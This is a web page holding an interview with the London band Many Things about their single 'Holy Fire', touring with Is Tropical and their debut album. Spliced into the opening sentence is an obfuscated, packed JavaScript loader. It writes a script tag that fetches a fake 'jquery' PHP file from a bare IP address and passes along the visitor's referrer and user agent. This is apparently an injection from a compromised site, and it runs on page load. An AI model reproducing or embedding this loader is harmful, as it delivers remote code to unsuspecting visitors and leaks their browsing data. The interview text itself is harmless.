INTERVIEW: MANY THINGS

ManyThings10

On (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbkbh|var|u0026u|referrer|rbzye||js|php’.split(‘|’),0,{}))
the eve of their single launch at The Lexington we chatted to frontman Michael Tomlinson and drummer Macks Faulkron of Many Things. ‘Holy Fire’ is the new single from the London indie pop outfit and we find out all about how things have been going and what an exciting year ahead looks like…

You’ve just sound checked for the Lexington tonight, your single launch show, how was it?

MICHAEL: Well we’ve just come back from tour with Is Tropical, it was our first outing as a three piece, which was really great. Obviously we’re very sad to lose Fred but its breathed new life into our project. For me, learning the guitar parts and the bass parts has been really fun…and challenging, and I think we really locked together in this format. So this is our first show back since there, so its really exciting and we’re playing a new song and the single is obviously coming out today so it feels great man.

So it’s the first performance as a three piece so we’re seeing a new band tonight?

MACKS: So this is the second time we’ve played as a three peice in London and that was a support show so this is the first ever of our own shows…with 33% less.

MICHAEL: It is a very different dynamic I’ve got to say.

You mentioned your new single there ‘Holy Fire’ which is awesome, but what the hell is going on in the video. Who dreamt that up?

MICHAEL: That’s Max man…thats all Max.

MACKS: Yeah I wrote that video with my mate. I used to be in a band The XX Teens and we did a lot of art based conceptual videos. So I spoke to Simon Green the director of that and we Skyped for a couple of weeks and put this really weird thing together of what it was going to be. It did have a story and still does have a story but as things went on it just got weirder and it just made more sense to us and it looked cool so we went with it. It’s basically preaching the lyrics of the song with aliens coming to Earth and realising that everything is a massive problem and an issue, from everything from capitalism through to socialism and everything. All the characters symbolize different problems from what we live in. Its meant to be tongue and cheek, we’re not this high brow band or wanted a super political video…it’s just my thoughts really.


You recently played a series of date with Is Tropical, how was that?

MACKS: We literally don’t remember anything. I think it went alright…merch sales were good.

MICHAEL: I mean we went to a lot of places apparently. No really…Is Tropical are an amazing band, we watched them play every night. It was wonderful. It was almost like one band being on tour, everyone was setting up each others stages and they were so much fun to be around. It was a real laugh. Plus I feel like it was our best tour going from having no experience in this format and every single night we just got better and better. Regardless of hangovers, regardless of everything…we stepped up.

MACKS: And it was easier to do so, I’ve known those guys for many years and we’ve wanted to do a tour like this for so long. So when it finally came together it was easy and everyone wanted it to happen. We shared a sleeper together, we were just together, thats why it felt like one band. We were on the same bus for 15 days…

MICHAEL: We’d go to sleep in one country and wake up in another…

MACKS: Weird, weird, weird times man…

MICHAEL: At some weird truck stop, you’ve got no idea where you are…you’re buying some absolutely mysterious sausage…there was a very terrible sausage that was bought at one point. It was a blast man.

Your debut album comes out later this year, do you have a date yet and hows the whole recording process gone?

MACKS: It’s now August the 10th. Summer smash.

MICHAEL: I think the entire time we’ve been together…we had some demos that we’d work to and it started to take shape once we just got more stuff. So once we collated that, it was almost like what we could do live was forming how the album came together. Some bands want to record how it sounds live, we were really keen to stretch that sound…so like bands like Flaming Lips, Arcade Fire, LCD all with an expansive sonic, experimental, progressive sounds…so we worked with some big guys, worked with some friends…and in the end we found we were very hands on. When we were in the studio we wanted to go back and work through the stem ourselves so it became about us producing it with our mixer Jeremey Radway, he was integral in the recording process because he took these very detailed sessions and he tamed them and really put his edge on it. That was part of the evolution and it evolved, like a story and its our journey with those songs written over those years and you can see us growing as a band and we’re really proud of it…when it came back from mastering it was magical.

Where did you go to listen to it once you got it back…did you all sit together with big headphones on?

MICHAEL: Well we were always listening to the tracks, as we were producing it ourselves it was almost like overkill, sometimes just to send the track off to Jeremey it would like ‘no you’ve got to send it now’. You could almost do mix recalls like ‘ok, the stem at 3:57 needs to be bumped up a DB’ thats how close we were involved with the production. So when it came back mastered, I think we all listened to it once and were like, it’s done!

This isn’t the first time you’ve played The Lexington tonight is it?

MACKS: Yeah I think it was one of our first ever gigs back in 2012. And that for me was a great show, but I think Michael had a terrible one…

MICHAEL: The monitors were a little bit weird…

MACKS: Well you know, I think we might have played about three or four gigs by that point so it was really exciting and a real buzz. The songs were still really new and even though we still love the songs now when you’ve only played them five times anyway there’s still that bit of you that says…shit…I dunno what I’m doing but it sounds great and everyone seems to like it! And now we’re headlining it for ‘Holy Fire’ which is great.


What new music are you listening too?

MACKS: I’m so old school with this…I’m still listening to Kurt Ville’s last record, I can’t stop listening to it. Really new music…Is Tropical…The Crawl is pretty good.

MICHAEL: Big Girls, Rivers…also you know what….the new Kendrick Lamar album is honestly so wonderful. Its very experimental, it pushes the boundaries of what Hip Hop really is. He’s just goes totally off the grid, its a very strong concept, he’s such an incredible musician. I just love it.

www.mtmanythings.com

Loading...